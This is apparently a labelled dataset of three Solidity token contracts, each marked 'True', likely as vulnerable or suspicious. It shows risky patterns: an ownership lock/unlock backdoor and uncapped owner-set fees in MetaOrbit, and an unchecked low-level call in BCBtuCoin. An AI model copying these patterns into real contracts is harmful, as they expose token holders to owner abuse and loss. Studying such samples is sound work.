`transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Charity(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function ttbcurn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract MetaOrbit is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "MetaOrbit"; string private _symbol = "ORBIT"; uint8 private _decimals = 18; address payable marketingWallet; address payable treasuryWallet; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 3; uint256 private _previousMarketingFee = _marketingFee; uint256 public _treasuryFee = 4; uint256 private _previousTreasuryFee = _treasuryFee; //Sale fees uint256 public _saleTaxFee = 2; uint256 public _saleLiquidityFee = 3; uint256 public _saleTreasuryFee = 3; uint256 public _saleMarketingFee = 4; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquify( uint256 tokensIntoLiqudity, uint256 ethReceived ); uint256 public minimumTokensBeforeSwap = 1000000 * 10**18; uint256 public _maxTxAmount = 5000000 * 10**18; uint256 public maxWalletToken = 10000000 * (10**18); event SwapTokensForETH( uint256 amountIn, address[] path ); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address payable _marketingWallet, address payable _treasuryWallet) { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); marketingWallet = _marketingWallet; treasuryWallet = _treasuryWallet; // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_treasuryWallet] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _treasuryFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; _treasuryFee = _previousTreasuryFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool excludedAccount = _isExcludedFromFee[from] || _isExcludedFromFee[to]; if (from == uniswapV2Pair && !excludedAccount) { uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken, "Exceeds maximum wallet token amount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && to == uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minimumTokensBeforeSwap; //add liquidity and send bnb to treasury and marketing wallet swapAndLiquify(contractTokenBalance); } _tokenTransfer(from,to,amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiquidity = contractTokenBalance.mul(_saleLiquidityFee).div(_saleLiquidityFee.add(_saleTreasuryFee).add(_saleMarketingFee)); uint256 tokensForMarketingAndTreasury = contractTokenBalance.sub(tokensForLiquidity); // split the Liquidity token balance into halves uint256 half = tokensForLiquidity.div(2); uint256 otherHalf = tokensForLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half, address(this)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); // swap and Send Eth to wallets swapTokensForEth(tokensForMarketingAndTreasury, address(this)); uint256 marketingEthShare = address(this).balance.mul(_saleMarketingFee).div(_saleMarketingFee.add(_saleTreasuryFee)); marketingWallet.transfer(marketingEthShare); treasuryWallet.transfer(address(this).balance); emit SwapAndLiquify(half, newBalance); } function swapTokensForEth(uint256 tokenAmount, address _to) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) { _approve(address(this), address(uniswapV2Router), ~uint256(0)); } // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, _to, block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee where fee is require to be deducted. function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(recipient==uniswapV2Pair) { setAllFees(_saleTaxFee, _saleLiquidityFee, _saleTreasuryFee, _saleMarketingFee); } if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { removeAllFee(); } else { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); (tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount); (tTransferAmount, rTransferAmount) = takeTreasury(sender, tTransferAmount, rTransferAmount, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function takeTreasury(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private returns (uint256, uint256) { if(_treasuryFee==0) { return(tTransferAmount, rTransferAmount); } uint256 tTreasury = tAmount.div(100).mul(_treasuryFee); uint256 rTreasury = tTreasury.mul(_getRate()); rTransferAmount = rTransferAmount.sub(rTreasury); tTransferAmount = tTransferAmount.sub(tTreasury); _rOwned[address(this)] = _rOwned[address(this)].add(rTreasury); emit Transfer(sender, address(this), tTreasury); return(tTransferAmount, rTransferAmount); } function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private returns (uint256, uint256) { if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); } uint256 tMarketing = tAmount.div(100).mul(_marketingFee); uint256 rMarketing = tMarketing.mul(_getRate()); rTransferAmount = rTransferAmount.sub(rMarketing); tTransferAmount = tTransferAmount.sub(tMarketing); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); emit Transfer(sender, address(this), tMarketing); return(tTransferAmount, rTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setTreasuryWallet(address payable newWallet) external onlyOwner() { treasuryWallet = newWallet; } function setMarketingWallet(address payable newWallet) external onlyOwner() { marketingWallet = newWallet; } function setAllFees(uint256 taxFee, uint256 liquidityFee, uint256 treasuryFee, uint256 marketingFee) private { _taxFee = taxFee; _liquidityFee = liquidityFee; _treasuryFee = treasuryFee; _marketingFee = marketingFee; } function setBuyFees(uint256 taxFee, uint256 liquidityFee, uint256 treasuryFee, uint256 marketingFee) external onlyOwner() { setAllFees(taxFee, liquidityFee, treasuryFee, marketingFee); _previousTaxFee = taxFee; _previousLiquidityFee = liquidityFee; _previousMarketingFee = marketingFee; _previousTreasuryFee = treasuryFee; } function setSaleFees(uint256 taxFee, uint256 liquidityFee, uint256 treasuryFee, uint256 marketingFee) external onlyOwner() { _saleTaxFee = taxFee; _saleLiquidityFee = liquidityFee; _saleTreasuryFee = treasuryFee; _saleMarketingFee = marketingFee; } function setMinimumTokensBeforeSwap(uint256 newAmt) external onlyOwner() { minimumTokensBeforeSwap = newAmt * (10**18); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setMaxWalletTokend(uint256 _maxToken) external onlyOwner { maxWalletToken = _maxToken * (10**18); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * (10**18); } }
True
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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BCBtuCoin is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "BCB Trust"; string public constant symbol = "BCBtu"; uint public constant decimals = 8; uint256 public totalSupply = 840000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); modifier onlyOwner() { require(msg.sender == owner); _; } function BCBtuCoin () public { owner = msg.sender; balances[msg.sender] = totalSupply; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
True
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pragma solidity ^0.4.11; contract SpeculateCoin { string public name; string public symbol; uint8 public decimals; address public owner; bool public start; uint256 public transactions; mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); function Start() { if (msg.sender != owner) { return; } start = true; } function SpeculateCoin() { balanceOf[this] = 2100000000000000; name = "SpeculateCoin"; symbol = "SPC"; owner = msg.sender; decimals = 8; transactions = 0; start = false; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) return; if (balanceOf[_to] + _value < balanceOf[_to]) return; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function() payable { if(msg.value == 0) { return; } uint256 price = 100 + (transactions * 100); uint256 amount = msg.value / price; if (start == false || amount < 100000000 || amount > 1000000000000 || balanceOf[this] < amount) { msg.sender.transfer(msg.value); return; } owner.transfer(msg.value); balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); transactions = transactions + 1; } }
True
